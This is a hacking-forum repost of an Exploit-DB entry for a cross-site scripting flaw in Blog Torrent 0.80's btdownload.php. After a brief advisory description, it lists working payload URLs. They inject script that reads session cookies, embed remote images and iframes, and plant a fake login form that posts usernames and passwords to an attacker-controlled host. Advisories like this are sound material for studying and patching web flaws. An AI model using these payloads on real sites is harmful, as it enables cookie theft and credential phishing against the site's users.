Exploit Blog Torrent 0.80 - 'BTDownload.php' Cross-Site Scripting

Exploiter

Хакер
34,599
0
18 Дек 2022
EDB-ID
24803
Проверка EDB
  1. Пройдено
Автор
LOSTMON
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2004-12-07
Blog Torrent 0.80 - 'BTDownload.php' Cross-Site Scripting
Код:
source: https://www.securityfocus.com/bid/11839/info

It is reported that Blog Torrent is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

Get cookie session:
http://www.example.com/bittorrent_module/btdownload.php?file=<script>alert(document.cookie)</script>

Insert content :
http://www.example.com/bittorrent_module/btdownload.php?file=<img%20src=http://www.google.es/images/logo_sm.gif>

Insert remote web :
http://www.example.com/bittorrent_module/btdownload.php?file=<iframe%20src=http://www.google.es/></iframe>

Insert remote data base:
http://www.example.com/bittorrent_module/btdownload.php?file=<form%20action="http://www.atacker.com/savedb.php"%20method="post">Username:<input%20name="username"%20type="text"%2
0maxlength="30">Password:<input%20name="password"%20type="text"%20maxlength="30"><input%20name="login"%20type="submit"%20value="Login"></form>
 
Источник
www.exploit-db.com

Похожие темы